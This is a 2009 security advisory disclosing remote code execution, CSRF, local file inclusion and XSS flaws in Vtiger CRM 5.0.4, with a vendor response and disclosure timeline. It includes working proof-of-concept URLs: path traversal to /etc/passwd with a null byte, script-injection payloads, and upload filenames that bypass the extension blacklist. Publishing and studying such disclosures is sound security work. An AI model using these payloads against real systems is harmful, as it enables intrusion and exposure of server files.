Vtiger CRM 5.0.4 Multiple Vulnerabilities Name Multiple Vulnerabilities in Vtiger CRM Systems Affected Vtiger CRM 5.0.4 and possibly earlier versions Severity Medium Impact (CVSSv2) Medium 6/10, vector: (AV:N/AC:M/Au:S/C:P/I:P/A:P) Vendor http://www.vtigercrm.com Advisory http://www.ush.it/team/ush/hack-vtigercrm_504/vtigercrm_504.txt Authors Giovanni "evilaliv3" Pellerano (evilaliv3 AT ush DOT it) Antonio "s4tan" Parata (s4tan AT ush DOT it) Francesco "ascii" Ongaro (ascii AT ush DOT it) Date 20090818 I. BACKGROUND Vtiger CRM is a free, full-featured, 100% Open Source CRM software ideal for small and medium businesses, with low-cost product support available to production users that need reliable support. II. DESCRIPTION Multiple Vulnerabilities exist in Vtiger CRM software. Some of the technical issues highlighted in this advisory are part of a wider publication, "PHP filesystem attack vectors - Take Two", and are generic to applications written in the PHP language: http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/ III. ANALYSIS Summary: A) Remote Code Execution (RCE) Vulnerability B) Cross Site Request Forgery (CSRF) Vulnerabilities C) Local File Inclusion (LFI) Vulnerability D) Cross Side Scripting (XSS) Vulnerability A) Remote Code Execution (Windows Only) Vulnerability A Remote Code Execution vulnerability exists in Vtiger CRM version 5.0.4. In order to exploit this vulnerability an account on the CRM system is required. The vulnerability resides in the "Compose Mail" section. The software permits sending email with attachments and offers a draft save feature. When this feature is requested and an attachment is specified, the "saveForwardAttachments" validation routine is called. This routine involves some security checks to handle uploaded files, it does blacklist extension checking and if a bad extension is detected the txt extension is appended to the file-name. The following is the specific section: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ext_pos = strrpos($binFile, "."); $ext = substr($binFile, $ext_pos + 1); if (in_array(strtolower($ext), $upload_badext)) { $binFile .= ".txt"; } --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- It's known that in some circostances (for example when the PHP handler is configured using AddType/Action/AddHandler globally, eg. not inside an Apache's Files/FilesMatch directive) blacklisting is not enough as files in the form of "filename.php.foo" will be mapped back to PHP anyway (since foo is not explicitly defined in the MIME map and Apache will try to guess the filetype by its own). Beside this known issue we want to point out a less known exploitation methodology that works on Windows hosts. First the attacker has to find the name of the file that was uploaded in the attachment list files. Vtiger CRM saves files in a path like: storage/2009/July/week1/ And prepends an incremental unique number to the filename like: 133_foo.php So, a hypothetical attacker has only to guess the prepended number. This can be done by bruteforcing or by requesting the url: http://127.0.0.1/vtigercrm/index.php?module=Emails&action=ListView At this page Vtiger CRM shows the list of all the emails sent and saved, and for every email it allows to download the attachment showing its unique id in the link. http://127.0.0.1/vtigercrm/index.php?module=uploads&action=downloadfile& return_module=Emails&fileid=133&entityid=136 So, finally, the link to exploit this vulnerability should be something like: http://127.0.0.1/vtigercrm/storage/2009/July/week1/133.foo.php While Vtiger CRM blocks known dangerous extensions (like .php) making direct exploitation impossible it has to be highlighted that this simple destension check is totally improper since it does not consider specific filenames and behaviours of the operating systems where Vtiger CRM is deployed. For example on Windows OS is possible to exploit this vulnerability by requesting an upload with the filename "foo.php.". This string will bypass the check and since Windows does not permit filenames ending with a dot, modifying it in a transparent way, the final name of the file will simply be "foo.php.". A similar result can be obtained on GNU/Linux by requesting an upload with the filename "foo.php/." Note that the integrated webmail feature that allows a user to write emails and eventually save a draft of them is authenticated (a valid user on the system is required in order to exploit this vulnerability). B) Multiple CSRF (Cross Site Request Forgery) Vulnerabilites Multiple CSRF vulnerabilities exist in vtiger crm version 5.0.4. Here's a demonstrative one (an Admin user has to follow this link): http://127.0.0.1/vtigercrm/index.php?module=Rss&action=Save&rssurl=http: //www.ush.it/feed The feed is added to the news feed system visible by the crm users. Other and more dangerous CSRF vulnerabilities exist. C) Local File Inclusion Some LFI vulnerabilities exist in Vtiger CRM version 5.0.4. Some examples: 1) http://127.0.0.1/vtigercrm/graph.php?module=/../[..]/../etc/passwd%00 2) http://127.0.0.1/vtigercrm/index.php?module=Accounts&action=Import&pa renttab=Support&step=/../[..]/../etc/passwd%00 Add as many "../" instead of the "[..]" placeholder as needed. The first one does not need a valid user account, the second one is authenticated. Other modules are vulnerable to LFI, for example those who include "Import/index.php" where the vulnerability resides: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- grep "Import/index.php" * -R modules/Accounts/Import.php: include('modules/Import/index.php'); modules/Contacts/Import.php: include('modules/Import/index.php'); modules/HelpDesk/Import.php: include('modules/Import/index.php'); modules/Leads/Import.php: include('modules/Import/index.php'); modules/Potentials/Import.php: include('modules/Import/index.php'); modules/Products/Import.php: include('modules/Import/index.php'); modules/Vendors/Import.php: include('modules/Import/index.php'); --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- A third LFI vulnerability has been found in "CommonAjax.php", both "module" and "file" parameters are vulnerable. http://127.0.0.1/vtigercrm/include/Ajax/CommonAjax.php?module=Email&file=bar Will lead to a call like "require_once(modules/Email/bar.php)". If direct access to "CommonAjax.php" has been forbidden other entry points can be used: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- grep "Ajax/CommonAjax.php" * -R modules/Campaigns/CampaignsAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/SalesOrder/SalesOrderAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/System/SystemAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Products/ProductsAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/uploads/uploadsAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Dashboard/DashboardAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Potentials/PotentialsAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Notes/NotesAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Faq/FaqAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Quotes/QuotesAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Utilities/UtilitiesAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Calendar/ActivityAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Calendar/CalendarAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/PurchaseOrder/PurchaseOrderAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/HelpDesk/HelpDeskAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Invoice/InvoiceAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Accounts/AccountsAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Reports/ReportsAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Contacts/ContactsAjax.php: require_once('include/Ajax/CommonAjax.php'); modules/Portal/PortalAjax.php: require_once('include/Ajax/CommonAjax.php'); --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- To use one of these files as gateway for the previous vulnerability issue a request like the following: http://127.0.0.1/vtigercrm/?module=Invoice&action=InvoiceAjax&file=bar Where "Invoice" and "InvoiceAjax" are values from the presented list. This LFI vulnerability is not exploitable if you have applied a separate patch available at the following url: https://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%205.0.4%20 Latest%20Stable/VtigerCRM504_Security_Patch.zip We question ourself about the usefulness of such patch without a proper release. Probably little or no Vtiger CRM customers have applied such patch. D) Cross Side Scripting vulnerabilites Some XSS vulnerabilities exist in Vtiger CRM version 5.0.4. For example: http://127.0.0.1/vtigercrm/phprint.php?module=Activities&action=--%3E%3C script%3Ealert(%22ush.it%22);%3C/script%3E%3C!-- Or: http://127.0.0.1/vtigercrm/index.php?action=UnifiedSearch&module=Home&pa renttab=My+Home+Page&query_string=%27%22%3E%3Cscript%3Ealert(123)%3C/scr ipt%3E IV. DETECTION Vtiger CRM 5.0.4 and possibly earlier versions are vulnerable. V. WORKAROUND Upgrade to latest version 5.1.0. VI. VENDOR RESPONSE "Our team reviewed the issues reported against current development build (version 5.1.0) and seem to have addressed many of them already. In this version we have made several improvements to performance and closed loop holes reported on 5.0.4 with lot more features. Please let me know if you need further clarification. Thank you for your support once again." VII. CVE INFORMATION No CVE at this time. VIII. DISCLOSURE TIMELINE 20090620 Bug discovered 20090706 First vendor contact 20090706 Vendor Response 20090706 Vendor Confirm the vulnerability 20090713 Vendor propose a possible fix and path release 20090722 Vendor released VtigerCRM 5.1.0 (Vulnerability fixed) 20090818 Advisory released IX. CREDIT Giovanni "evilaliv3" Pellerano, Antonio "s4tan" Parata and Francesco "ascii" Ongaro are credited with the discovery of this vulnerability. Giovanni "evilaliv3" Pellerano web site: http://www.ush.it/, http://www.evilaliv3.org/ mail: evilaliv3 AT ush DOT it Antonio "s4tan" Parata web site: http://www.ush.it/ mail: s4tan AT ush DOT it Francesco "ascii" Ongaro web site: http://www.ush.it/ mail: ascii AT ush DOT it X. LEGAL NOTICES Copyright (c) 2009 Francesco "ascii" Ongaro Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.